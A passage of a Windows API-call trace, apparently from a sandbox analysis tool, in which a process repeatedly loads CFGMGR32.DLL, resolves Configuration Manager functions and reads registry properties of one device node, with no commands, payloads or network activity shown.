lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.055] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.056] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.057] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.058] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.059] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.059] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.059] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.059] malloc (_Size=0x18) returned 0x20abc281b00 [0230.060] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0230.060] malloc (_Size=0x3e) returned 0x20abc27cb20 [0230.061] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc27cb20, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc27cb20, pulLength=0x2dc22fd3f8) returned 0x0 [0230.061] free (_Block=0x20abc27cb20) [0230.061] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.061] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x44e4cd60, dwHighDateTime=0x1d9eb0c)) [0230.062] SetEvent (hEvent=0x248) returned 1 [0230.066] malloc (_Size=0x18) returned 0x20abc281c80 [0230.066] SafeArrayPutElement (psa=0x20abba804d0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0230.066] free (_Block=0x20abc281c80) [0230.066] malloc (_Size=0x18) returned 0x20abc2819a0 [0230.066] SafeArrayPutElement (psa=0x20abba804d0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0230.066] free (_Block=0x20abc2819a0) [0230.066] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d770 [0230.066] SafeArrayGetDim (psa=0x20abba804d0) returned 0x1 [0230.067] SafeArrayGetLBound (in: psa=0x20abba804d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0230.067] SafeArrayGetUBound (in: psa=0x20abba804d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0230.067] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba797f0 [0230.067] SafeArrayGetDim (psa=0x20abba804d0) returned 0x1 [0230.067] SafeArrayGetUBound (in: psa=0x20abba804d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0230.067] SafeArrayGetElemsize (psa=0x20abba804d0) returned 0x8 [0230.067] SafeArrayGetElement (in: psa=0x20abba804d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0230.068] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0230.068] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935b8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0230.069] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba797f0) returned 1 [0230.069] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d770) returned 1 [0230.070] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.070] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.071] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.071] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.071] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.071] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.071] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.071] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.071] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.072] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.072] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.072] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.072] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.072] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.072] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.072] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.073] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.073] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.073] malloc (_Size=0x18) returned 0x20abc281de0 [0230.073] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0230.074] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.074] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x44e76f27, dwHighDateTime=0x1d9eb0c)) [0230.074] SetEvent (hEvent=0x248) returned 1 [0230.077] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.077] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.078] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.078] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.078] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.078] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.078] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.078] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.081] malloc (_Size=0x18) returned 0x20abc281ba0 [0230.081] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0230.085] malloc (_Size=0x48) returned 0x20abc27cf80 [0230.085] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x44e76f27, dwHighDateTime=0x1d9eb0c)) [0230.085] SetEvent (hEvent=0x248) returned 1 [0230.138] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.139] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.142] malloc (_Size=0x18) returned 0x20abc281da0 [0230.142] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0230.143] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x44f0b3ec, dwHighDateTime=0x1d9eb0c)) [0230.143] SetEvent (hEvent=0x248) returned 1 [0230.146] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.146] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.150] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.158] malloc (_Size=0x18) returned 0x20abc281f80 [0230.159] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0230.159] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x44f31985, dwHighDateTime=0x1d9eb0c)) [0230.159] SetEvent (hEvent=0x248) returned 1 [0230.163] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.163] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.165] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.165] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.165] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.165] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.165] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.165] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.166] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.166] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.166] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.166] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.166] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.166] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.166] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.166] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.167] malloc (_Size=0x18) returned 0x20abc2820c0 [0230.167] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0230.167] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x44f57a49, dwHighDateTime=0x1d9eb0c)) [0230.168] SetEvent (hEvent=0x248) returned 1 [0230.173] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.173] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.173] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.173] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.177] malloc (_Size=0x18) returned 0x20abc281b00 [0230.177] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x17, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0230.180] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x44f57a49, dwHighDateTime=0x1d9eb0c)) [0230.180] SetEvent (hEvent=0x248) returned 1 [0230.184] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.184] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 